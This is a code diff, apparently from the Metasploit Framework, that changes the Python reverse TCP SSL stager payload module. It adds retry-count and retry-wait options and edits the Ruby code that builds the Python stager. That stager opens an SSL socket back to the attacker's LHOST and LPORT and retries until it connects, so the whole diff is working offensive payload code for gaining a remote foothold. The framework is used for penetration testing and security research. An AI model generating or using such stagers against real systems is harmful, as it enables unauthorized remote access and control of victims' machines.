@@ -15,6 +15,15 @@ module Payload::Python::ReverseTcpSsl
15
15
16
16
include Msf ::Payload ::Python
17
17
include Msf ::Payload ::Python ::ReverseTcp
18
+ def initialize ( *args )
19
+ super
20
+ register_advanced_options ( [
21
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 10 ] ) ,
22
+ OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' , 5 ] )
23
+ ] , self . class )
24
+ end
25
+
26
+
18
27
19
28
#
20
29
# Generate the first stage
@@ -23,7 +32,8 @@ def generate
23
32
conf = {
24
33
port : datastore [ 'LPORT' ] ,
25
34
host : datastore [ 'LHOST' ] ,
26
- retry_wait : datastore [ 'StagerRetryWait' ]
35
+ retry_count : datastore [ 'StagerRetryCount' ] ,
36
+ retry_wait : datastore [ 'StagerRetryWait' ] ,
27
37
}
28
38
29
39
generate_reverse_tcp_ssl ( conf )
@@ -44,22 +54,26 @@ def supports_ssl?
44
54
def generate_reverse_tcp_ssl ( opts = { } )
45
55
# Set up the socket
46
56
cmd = "import ssl,socket,struct#{ datastore [ 'StagerRetryWait' ] . to_i > 0 ? ',time' : '' } \n "
47
- if datastore [ 'StagerRetryWait' ] . blank? # do not retry at all (old style)
57
+ if opts [ :retry_wait ] . blank? # do not retry at all (old style)
48
58
cmd << "so=socket.socket(2,1)\n " # socket.AF_INET = 2
49
59
cmd << "so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
50
60
cmd << "s=ssl.wrap_socket(so)\n "
51
61
else
52
- cmd << "while 1:\n "
62
+ if opts [ :retry_count ] >0
63
+ cmd << "for x in range(#{ opts [ :retry_count ] . to_i } ):\n "
64
+ else
65
+ cmd << "while 1:\n "
66
+ end
53
67
cmd << "\t try:\n "
54
68
cmd << "\t \t so=socket.socket(2,1)\n " # socket.AF_INET = 2
55
69
cmd << "\t \t so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
56
70
cmd << "\t \t s=ssl.wrap_socket(so)\n "
57
71
cmd << "\t \t break\n "
58
72
cmd << "\t except:\n "
59
- if datastore [ 'StagerRetryWait' ] . to_i <= 0
73
+ if opts [ :retry_wait ] . to_i <= 0
60
74
cmd << "\t \t pass\n " # retry immediately
61
75
else
62
- cmd << "\t \t time.sleep(#{ datastore [ 'StagerRetryWait' ] . to_i } )\n " # retry after waiting
76
+ cmd << "\t \t time.sleep(#{ opts [ :retry_wait ] } )\n " # retry after waiting
63
77
end
64
78
end
65
79
cmd << py_send_uuid if include_send_uuid
0 commit comments